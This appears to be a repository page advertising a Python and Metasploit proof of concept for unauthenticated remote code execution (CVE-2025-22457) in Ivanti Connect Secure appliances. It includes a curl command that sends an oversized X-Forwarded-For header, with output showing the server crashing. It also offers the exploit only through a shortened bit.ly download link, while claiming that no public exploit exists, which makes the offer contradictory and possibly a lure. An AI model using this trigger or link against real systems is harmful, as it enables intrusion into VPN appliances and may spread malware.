CVE-2025-22457 PoC — Ivanti Connect Secure 安全漏洞

Description

CVE-2025-22457 Python and Metasploit PoC for Ivanti unauthenticated RCE

Readme

# CVE-2025-22457-PoC
CVE-2025-22457 Python and Metasploit PoC for Ivanti unauthenticated RCE

# CVE-2025-22457 A stack-based buffer overflow in Ivanti Connect Secure allows a remote unauthenticated attacker to achieve remote code execution.


PoC for achieving RCE in Ivanti Connect Secure Appliances<br>
PoC is both in Python and a metasploit module (more advanced payload for meterpreter)<br>
Python script is designed to work with a single ip and list of ips which can also save the results into a file<br>

Note: yet no public exploit is developed/disclosed and most probably it wont in near future cause of the impact.



# Download: [here](https://bit.ly/3EgljKT)


```
$ curl -v --insecure https://HOST --header X-Forwarded-For:A * 856
*   Trying HOST:443...
* Connected to HOST (HOST) port 443
* using HTTP/1.x
> GET / HTTP/1.1
> Host: HOST
> User-Agent: curl/8.10.1
> Accept: */*
> X-Forwarded-For:A * 856
>
* Request completely sent off
* schannel: server closed abruptly (missing close_notify)
* closing connection #0
curl: (56) Failure when receiving data from the peer
```

File Snapshot

Remarks